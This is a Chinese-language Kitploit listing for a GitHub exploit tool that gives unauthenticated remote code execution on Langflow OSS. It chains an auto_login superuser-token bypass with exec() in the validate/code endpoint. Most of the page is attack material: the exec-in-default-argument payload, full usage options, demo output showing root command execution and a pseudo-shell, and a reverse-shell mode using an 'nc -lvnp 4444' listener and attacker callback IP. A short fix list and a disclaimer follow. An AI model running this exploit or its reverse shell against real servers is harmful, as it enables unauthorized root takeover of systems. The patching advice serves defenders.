Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-9198_exploit — 针对 Langflow 开源版的未认证 RCE 利用程序,通过链式利用 auto_login JWT 绕过与 validate/code exec() 函数,实现远程命令执行与反弹 shell。 | Kitploit
工具/GitHubGitHub/0xdak/cve-2026-9198_exploit
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试命令与控制红队远程访问工具
GitHub0xdak/cve-2026-9198_exploit

CVE-2026-9198_exploit

针对 Langflow 开源版的未认证 RCE 利用程序,通过链式利用 auto_login JWT 绕过与 validate/code exec() 函数,实现远程命令执行与反弹 shell。

查看仓库
141个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-9198 — Langflow OSS 未授权远程代码执行

在默认部署的 IBM Langflow OSS (1.0.0 – 1.10.0) 中实现未授权远程代码执行。利用了两个漏洞:

  • CVE-2026-9103 — 当 AUTO_LOGIN 启用时(Langflow < 1.5 中的默认设置),GET /api/v1/auto_login 为任何无需凭证的调用者生成一个 SUPERUSER JWT。
  • CVE-2026-8481 — POST /api/v1/validate/code 将用户提供的 Python 代码传递给 exec(),且无沙箱隔离。

结合两者(CVE-2026-9198),未授权攻击者能够以 Langflow 服务用户的身份执行代码——该用户通常是 root。

功能说明

  1. 从 /api/v1/auto_login 请求超级用户 Bearer 令牌(无需认证)。

  2. 向 /api/v1/validate/code 提交有效载荷。该端点通过 执行代码以“验证”它;Python 在定义时评估 ,因此有效载荷被封装在函数默认参数中:

exec()
默认参数值
root@kitploit:~
def _v(a=exec('<payload>')): pass

为了执行命令,有效载荷会抛出一个异常,其消息为命令输出,该输出由端点在响应中返回(function.errors[])。

使用方法

root@kitploit:~
./exploit.py -t <target> [options]

  -t, --target     target host/IP (or full URL)          (required)
  -p, --port       Langflow port                          (default 7860)
  -c, --cmd        run a single shell command, print output
      --shell      interactive pseudo-shell (each line runs via the RCE)
      --lhost      reverse-shell listener IP
      --lport      reverse-shell listener port            (default 4444)
  -k, --token      use this bearer token (skip auto_login)
      --timeout    HTTP timeout in seconds                (default 20)
      --no-banner  suppress the banner
  -h, --help       show help

演示

root@kitploit:~
$ ./exploit.py -t 192.168.30.128
CVE-2026-9198 — Langflow unauthenticated RCE
  auto_login (superuser token) -> validate/code (exec)

[*] requesting superuser token via /api/v1/auto_login ...
[+] token: eyJhbGciOiJIUzI1NiIsInR...
uid=0(root) gid=0(root) groups=0(root)

$ ./exploit.py -t 192.168.30.128 -c 'cat /root/proof.txt'
...
d4b81f6a3c9e07254f6a3c9e07254d4b

$ ./exploit.py -t 192.168.30.128 --shell
[+] RCE confirmed: uid=0(root) gid=0(root) groups=0(root)
[*] pseudo-shell — each line runs via a fresh request. Ctrl-C / 'exit' to quit.
langflow$ hostname
flow
langflow$ whoami
root

# reverse shell (start `nc -lvnp 4444` first)
$ ./exploit.py -t 192.168.30.128 --lhost 10.10.14.7 --lport 4444
[*] sending reverse shell to 10.10.14.7:4444 (start your listener first) ...
[+] payload sent. Check your listener.

环境要求

  • Python 3.6+(仅需标准库——无需 pip install)

注意事项

  • 仅在 AUTO_LOGIN 启用时有效(Langflow < 1.5 的默认设置;>= 1.5 需要显式设置 LANGFLOW_AUTO_LOGIN=true)。如果 auto_login 未返回令牌,则目标无法通过此路径利用——如果有有效令牌,可以使用 -k 提供。
  • 命令输出在响应 function.errors[] 中返回;stderr 合并到 stdout 中,因此失败的命令仍会显示其错误信息。
  • 代码以 Langflow 服务用户 身份运行。如果该用户是 root(在 systemd/Docker-as-root 下直接运行 langflow run 时常见),则直接获得主机 root 权限。

修复措施

  • 升级 Langflow 到受影响的版本范围之外;validate/code 不得对不可信输入执行 exec(),auto_login 不得生成超级用户令牌。
  • 设置 LANGFLOW_AUTO_LOGIN=false 并配置真实的超级用户凭据。
  • 切勿以 root 身份运行 Langflow 服务。

免责声明

本项目仅供授权的安全测试和教育目的使用。请勿对您不拥有的系统或未经明确许可测试的系统使用。作者不对滥用行为承担任何责任。

下载工具